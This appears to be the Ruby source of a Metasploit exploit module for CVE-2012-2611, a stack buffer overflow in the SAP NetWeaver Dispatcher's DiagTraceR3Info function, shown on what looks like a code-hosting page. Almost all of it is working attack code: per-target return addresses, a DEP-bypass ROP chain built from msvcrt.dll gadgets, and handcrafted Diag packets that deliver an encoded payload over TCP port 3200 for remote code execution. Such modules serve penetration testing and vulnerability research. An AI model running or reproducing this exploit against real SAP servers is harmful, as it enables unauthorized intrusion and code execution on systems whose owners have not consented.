181 lines
6.7 KiB
Ruby
181 lines
6.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
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service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
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attacker to execute arbitrary code by supplying a special crafted Diag packet. The
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Dispatcher service is only vulnerable if the Developer Traces have been configured
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at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
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SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
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},
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'Author' => [
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'Martin Gallo', # Vulnerability discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '81759' ],
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[ 'CVE', '2012-2611' ],
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[ 'BID', '53424' ],
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[ 'EDB', '20705' ],
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[ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
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[ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
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],
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f',
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'EXITFUNC' => 'process'
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},
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "\x00",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# disp+work.exe version 7200.70.18.23869
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[
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'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
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{
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'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
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}
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],
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[
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'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
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{
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'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
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}
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]
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],
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'Privileged' => false,
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'DefaultTarget' => 1,
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'DisclosureDate' => 'May 8 2012'))
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register_options([Opt::RPORT(3200)], self.class)
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end
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def create_rop_chain()
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# ROP chains provided by Corelan.be
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# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
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rop_gadgets =
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[
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0x77bb2563, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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0x41414141, #junk
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bb2563, # POP EAX # RETN
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0x03C0A40F,
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0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bb2563, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bb2563, # POP EAX # RETN
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0x90909090,#nop
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0x77be6591, # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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return rop_gadgets
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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connect
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# initialize
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diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
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user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
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support_data = "\x10\x04\x0b\x00\x20"
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support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
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support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
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dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
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dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
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dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
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dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
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dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
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dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
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dpheader << "terminalXXXXXXX"
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dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
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dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
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dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
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dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
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pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
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pkt << dpheader
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pkt << diagheader
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pkt << user_connect
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pkt << support_data
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print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
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sock.put(pkt)
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res = sock.get_once(-1)
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if not res
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print_error("#{peer} - The connection with the Dispatcher has not been initialized")
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return
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end
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# send message
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if target.name =~ /Windows XP SP3/
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crash = make_nops(112)
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crash << "\xeb\x02" # jmp over call pointer
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crash << [target.ret].pack("v")
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crash << make_nops(10) * 200
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crash << payload.encoded
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else # Windows 2003
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crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack
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crash << rand_text(2) # padding
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crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
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crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt
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crash << [target.ret].pack("V") # stackpivot
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crash << create_rop_chain
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crash << payload.encoded
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end
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print_status("#{peer} - Sending crafted message")
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message = "\x10\x06\x20" + [crash.length].pack("n") + crash
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diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
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step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
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eom = "\x0c"
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pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
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pkt << diagheader
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pkt << step
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pkt << message
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pkt << eom
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sock.put(pkt)
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disconnect
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end
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end
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